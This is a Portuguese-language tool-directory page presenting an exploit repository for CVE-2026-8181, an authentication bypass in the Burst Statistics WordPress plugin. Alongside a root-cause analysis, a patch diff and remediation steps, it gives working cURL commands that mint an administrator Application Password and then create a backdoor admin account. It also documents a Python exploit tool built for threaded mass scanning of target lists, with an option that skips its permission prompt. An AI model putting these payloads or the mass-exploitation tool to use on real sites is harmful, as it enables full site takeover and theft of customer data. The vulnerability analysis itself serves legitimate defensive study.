Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/yucaerin/cve-2026-8181
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebCTFTestes de PenetraçãoAutenticaçãoAprendizado e Educação
GitHubyucaerin/cve-2026-8181

CVE-2026-8181

O plugin Burst Statistics – Privacy-Friendly WordPress Analytics (Google Analytics Alternative) para WordPress é vulnerável a bypass de autenticação.

Ver Repositório
1há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-8181 — Burst Statistics 3.4.0 – 3.4.1.1 — Bypass de Autenticação para Assunção de Conta de Administrador

Resumo da Vulnerabilidade

O plugin WordPress Burst Statistics nas versões 3.4.0 a 3.4.1.1 é vulnerável a uma falha de bypass de autenticação não autenticado que leva à assunção total da conta de administrador. Essa falha crítica permite que um atacante não autenticado que conheça qualquer nome de usuário de administrador gere uma Application Password válida do WordPress para essa conta em uma única requisição HTTP, obtendo acesso persistente de nível administrativo a todo o site.

A vulnerabilidade decorre da função is_mainwp_authenticated() em class-mainwp-proxy.php. Essa função chama wp_authenticate_application_password() e apenas verifica se o resultado é um WP_Error. Ela não verifica se o resultado é, de fato, um objeto WP_User bem-sucedido. Quando o filtro interno do WordPress application_password_is_api_request retorna false — o que ocorre quando a chamada é feita fora do fluxo normal de autenticação da REST API — a função do WordPress retorna null em vez de um WP_Error ou WP_User. Como null não é um WP_Error, a verificação passa e o usuário administrador escolhido pelo atacante é definido como usuário atual via wp_set_current_user().

Depois que o usuário atual é alterado para um administrador, as verificações de capacidade subsequentes passam. O atacante pode então acessar o endpoint REST /burst/v1/mainwp-auth, que cria uma Application Password do WordPress para a conta de administrador e a retorna na resposta. Isso dá ao atacante acesso persistente e completo de nível administrativo.

Plugin Afetado

O Que os Atacantes Podem Fazer

Análise Técnica

Inicialização do Plugin e a Porta de Entrada Vulnerável

O Burst Statistics é inicializado durante o hook plugins_loaded do WordPress, na prioridade 9, dentro de class-burst.php:

root@kitploit:~
// class-burst.php, line 118
if ( $this->has_admin_access() ) {
    $this->admin = new Admin();
    $this->admin->init();
    ...
}

has_admin_access() é o guardião de toda a funcionalidade administrativa. Ele verifica o cabeçalho X-BurstMainWP e chama a função vulnerável:

root@kitploit:~
// trait-admin-helper.php, lines 202-211
if ( isset( $_SERVER['HTTP_X_BURSTMAINWP'] ) && $_SERVER['HTTP_X_BURSTMAINWP'] === '1' ) {
    $mainwp_proxy = new \Burst\Frontend\MainWP_Proxy();

    if ( $mainwp_proxy->is_mainwp_authenticated() ) {
        return burst_loader()->has_admin_access = true;
    }
    ...
}

A Função Vulnerável: is_mainwp_authenticated()

root@kitploit:~
// class-mainwp-proxy.php, lines 313-342 (vulnerable 3.4.1.1)
public function is_mainwp_authenticated(): bool {
    $auth_header = sanitize_text_field( wp_unslash( $_SERVER['HTTP_AUTHORIZATION'] ?? '' ) );

    if ( ! empty( $auth_header ) && stripos( $auth_header, 'basic ' ) === 0 ) {
        $credentials = base64_decode( substr( $auth_header, 6 ), true );
        if ( ! $credentials ) {
            return false;
        }
        $parts = explode( ':', $credentials, 2 );
        if ( count( $parts ) !== 2 ) {
            return false;
        }
        $username = $parts[0];
        $password = $parts[1];

        // VULNERABLE: wp_authenticate_application_password() returns null
        // outside the REST API authentication flow
        $is_valid = wp_authenticate_application_password( null, $username, $password );

        // BUG: Only checks if result is WP_Error. null is NOT WP_Error → PASSES!
        if ( is_wp_error( $is_valid ) ) {
            return false;
        }

        $user = get_user_by( 'login', $username );
        if ( ! $user || ! user_can( $user, 'manage_burst_statistics' ) ) {
            return false;
        }
        wp_set_current_user( $user->ID );

        return true;
    }

    return false;
}

Por que wp_authenticate_application_password() Retorna null

A função interna do WordPress wp_authenticate_application_password() possui um filtro:

root@kitploit:~
if ( ! apply_filters( 'application_password_is_api_request', false ) ) {
    return null;  // Not an API request, skip app password auth
}

Quando chamada fora do fluxo de autenticação da REST API, ela retorna null. O código do Burst Statistics apenas verificava is_wp_error($is_valid) — null não é um WP_Error, então a verificação passava incorretamente.

Caminho de Execução para a Assunção da Conta de Administrador

  1. O atacante envia o cabeçalho X-BurstMainWP: 1 com qualquer requisição
  2. has_admin_access() aciona is_mainwp_authenticated()
  3. wp_authenticate_application_password() retorna null (fora do contexto da API)
  4. is_wp_error(null) = false → a verificação passa
  5. wp_set_current_user($admin_id) é executado
  6. O usuário atual agora é o administrador escolhido
  7. O atacante faz POST para /burst/v1/mainwp-auth
  8. handle_auth_request() gera uma Application Password do WordPress
  9. Token retornado como base64(username:app_password)
  10. O atacante usa esse token para acesso administrativo persistente via REST API

Análise do Patch (3.4.2)

root@kitploit:~
// class-mainwp-proxy.php, lines 399-415 (patched 3.4.2)
$allow_application_password_request = static function (): bool {
    return true;
};
add_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );
$authenticated_user = wp_authenticate_application_password( null, $parts[0], $parts[1] );
remove_filter( 'application_password_is_api_request', $allow_application_password_request, 999 );

if ( ! $authenticated_user instanceof \WP_User ) {
    return false;
}
if ( ! hash_equals( (string) $authenticated_user->user_login, $parts[0] ) ) {
    return false;
}

Correções aplicadas:

  • Forçar o filtro application_password_is_api_request para true para que a validação real da senha ocorra
  • Verificar se o resultado é uma instância de WP_User (não null)
  • Usar hash_equals() para verificar a correspondência do nome de usuário

Além disso, o check_auth_permission() do endpoint REST foi endurecido para exigir current_user_can('manage_burst_statistics') e verificação explícita de nonce para requisições autenticadas por cookie.

Prova de Conceito

cURL Manual

root@kitploit:~
# Step 1: Verify target is vulnerable (mint Application Password)
curl -s -X POST 'https://target.com/?rest_route=/burst/v1/mainwp-auth' \
  -H 'Authorization: Basic YWRtaW46YW55dGhpbmc=' \
  -H 'X-BurstMainWP: 1' \
  -H 'Content-Type: application/json' \
  -d '{}'

# Response: {"token":"YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2"}

# Step 2: Decode token
echo "YWRtaW46QmNpMzZwZG90SDBNS21iTTNXWFpGNGV2" | base64 -d
# admin:Bci36pdotH0MKmbM3WXZF4ev

# Step 3: Use Application Password to create a new admin
curl -X POST 'https://target.com/wp-json/wp/v2/users' \
  -u 'admin:Bci36pdotH0MKmbM3WXZF4ev' \
  -d 'username=BackdoorAdmin&password=SecurePass123!&roles=administrator&[email protected]'

Ferramenta de Exploração em Python

O script exploit_burst_statistics.py automatiza toda a cadeia de ataque:

  • Fase 0: Detecção de versão via readme.txt, cabeçalho do plugin ou query strings de assets
  • Fase 1: Enumeração de nome de usuário administrador via REST API, páginas de autor ou lista de nomes de usuário comuns
  • Fase 2: Bypass de autenticação com X-BurstMainWP: 1 + Basic Auth falso para gerar o token
  • Fase 3: Verificação do token e validação da estrutura
  • Scanner em Massa: Varredura multialvo com threads e registro em tempo real de alvos vulneráveis

Recursos do Exploit

  • Não autenticado — nenhum acesso prévio é necessário
  • Requisição HTTP única para gerar Application Password persistente
  • Detecta automaticamente a versão do Burst Statistics e ignora alvos corrigidos
  • Enumera automaticamente o nome de usuário administrador se não for fornecido
  • Suporta tanto permalinks amigáveis (/wp-json/) quanto permalinks não amigáveis (/?rest_route=)
  • Varredura em massa com ThreadPoolExecutor
  • Gravação em arquivo em tempo real — os alvos vulneráveis são salvos imediatamente sem aguardar a conclusão da varredura
  • Bloqueio de arquivo seguro para threads

Uso

Alvo Único (Enumeração Automática de Administrador)

root@kitploit:~
python3 exploit_burst_statistics.py -t http://target.com --no-confirm

Alvo Único (Nome de Usuário de Administrador Conhecido)

root@kitploit:~
python3 exploit_burst_statistics.py -t https://target.com -u admin --no-confirm

Varredura em Massa

Crie targets.txt:

root@kitploit:~
target1.com
target2.com:8080
192.168.1.50
root@kitploit:~
python3 exploit_burst_statistics.py -l targets.txt -T 20 --no-confirm

Opções

Recomendações de Correção

Para desenvolvedores e proprietários de sites:

  1. Atualize imediatamente para o Burst Statistics 3.4.2 ou posterior
  2. Se não for possível atualizar, desative temporariamente o plugin
  3. Após a atualização, revogue todas as Application Passwords existentes para contas de administrador:
    • WP Admin → Usuários → [Admin] → Senhas de Aplicativo → Revogar Todas
  4. Verifique se há contas de administrador não autorizadas ou criação inesperada de usuários
  5. Revise os logs do servidor em busca de requisições contendo o cabeçalho X-BurstMainWP: 1

Linha do Tempo

DataEvento
2026-05-08CVE reservado
2026-05-11Fornecedor notificado
2026-05-13Divulgado publicamente

Pesquisador

  • Crédito: Chloe Chamberland — Wordfence PRISM

Referências

  • Advisory da Wordfence
  • Registro do CVE
  • Diff do Patch — class-mainwp-proxy.php
  • NVD

Aviso Legal

Estas informações são fornecidas apenas para fins educacionais e de teste de penetração autorizado. A exploração não autorizada de sistemas de computador é ilegal e antiética. Sempre obtenha permissão explícita por escrito antes de testar qualquer alvo que você não possua.

Baixar ferramenta
CampoValor
Nome do PluginBurst Statistics – Analytics WordPress Focado em Privacidade
Slug do Pluginburst-statistics
Versões Afetadas3.4.0 – 3.4.1.1
Versão Corrigida3.4.2
ID do CVECVE-2026-8181
Pontuação CVSS9.8 (Crítico)
Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Tipo de VulnerabilidadeBypass de Autenticação (Autenticação Imprópria)
CWECWE-287 — Autenticação Imprópria
ImpactoAssunção Completa do Site — Assunção de Conta de Administrador
CapacidadeImpacto
Gerar Application Password para qualquer administradorAcesso Administrativo Persistente
Criar novas contas de administrador via REST APIProliferação de Contas
Instalar plugins / temasExecução Remota de Código
Editar posts, páginas e configuraçõesDesfiguração do Site
Exportar ou excluir todos os dados do siteDestruição / Exfiltração de Dados
Acessar WooCommerce / dados de clientesVazamento de Dados
OpçãoDescrição
-t, --targetURL de um único alvo
-l, --listArquivo com a lista de alvos (um por linha)
-T, --threadsThreads para varredura em massa (padrão: 10)
-o, --outputArquivo de saída para resultados (padrão: result_burst_statistics.txt)
-u, --usernameNome de usuário de administrador conhecido (pular enumeração)
-v, --verboseSaída de depuração detalhada
--timeoutTempo limite de requisição em segundos (padrão: 20)
--no-confirmPular o prompt de confirmação de permissão
2026-05-13Patch lançado (v3.4.2)
2026-05-15Exploração ativa relatada em ambientes reais